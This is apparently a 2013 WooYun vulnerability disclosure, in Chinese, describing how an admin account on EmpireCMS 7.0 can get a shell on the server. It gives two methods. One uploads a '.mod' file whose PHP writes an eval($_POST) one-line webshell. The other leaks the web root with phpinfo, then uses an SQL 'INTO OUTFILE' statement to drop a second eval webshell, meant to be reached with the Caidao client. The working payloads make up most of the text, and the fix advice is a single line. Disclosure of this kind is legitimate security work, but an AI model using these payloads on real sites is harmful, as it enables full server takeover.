漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2013-023185
漏洞标题：帝国cms 7.0 后台拿shell
相关厂商：帝国CMS(EmpireCMS)
漏洞作者： 0xTback
提交时间：2013-05-07 14:19
修复时间：2013-08-05 14:19
公开时间：2013-08-05 14:19
漏洞类型：文件上传导致任意代码执行
危害等级：中
自评Rank：8
漏洞状态：未联系到厂商或者厂商积极忽略
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2013-05-07： 积极联系厂商并且等待厂商认领中，细节不对外公开
2013-08-05： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
帝国CMS7.0后台可上传mod后缀的PHP文件并执行里面的php代码。
详细说明：
进入后台~！
方法一：
系统——数据表与系统模型——管理数据表
再随意选择一个数据表，打开对应数据表的“管理系统模型”如图：
“导入系统模型”，可进入“LoadInM.php”页面，如图：
在本地新建一个文件，文本内容为<?fputs(fopen("x.php","w"),"<?eval(\$_POST[cmd]);?>")?> 再命名为1.php.mod，导入这个mod文件，即执行里面的php代码，在ecmsmod.php的相同目录下生产x.php的一句话木马文件。
可以从导入系统模型源文件中查看到,如图：
方法二：
在本地新建一个info.php（任意php文件）其源码内容为<?php phpinfo();?>，再重名名为info.php.mod，将此文件按照方法一导入系统模型，即可执行info.php.mod的代码并显示在页面上，迅速查看源码即可得知网站根目录的绝对路径,如图：
info.php.mod的源码
然后
系统——备份与恢复数据——执行SQL语句
在执行SQL语句框中输入如下代码：
create table temp (cmd text not null);
insert into temp (cmd) values('<?php eval($_POST[x])?>');
select cmd from temp into outfile 'c://ecms//z.php';
drop table if exists temp;
即可在网站根目录生成z.php
菜刀连接即可~！
漏洞证明：
修复方案：
过滤吧~！！
版权声明：转载请注明来源 0xTback@乌云
漏洞回应
厂商回应：
未能联系到厂商或者厂商积极拒绝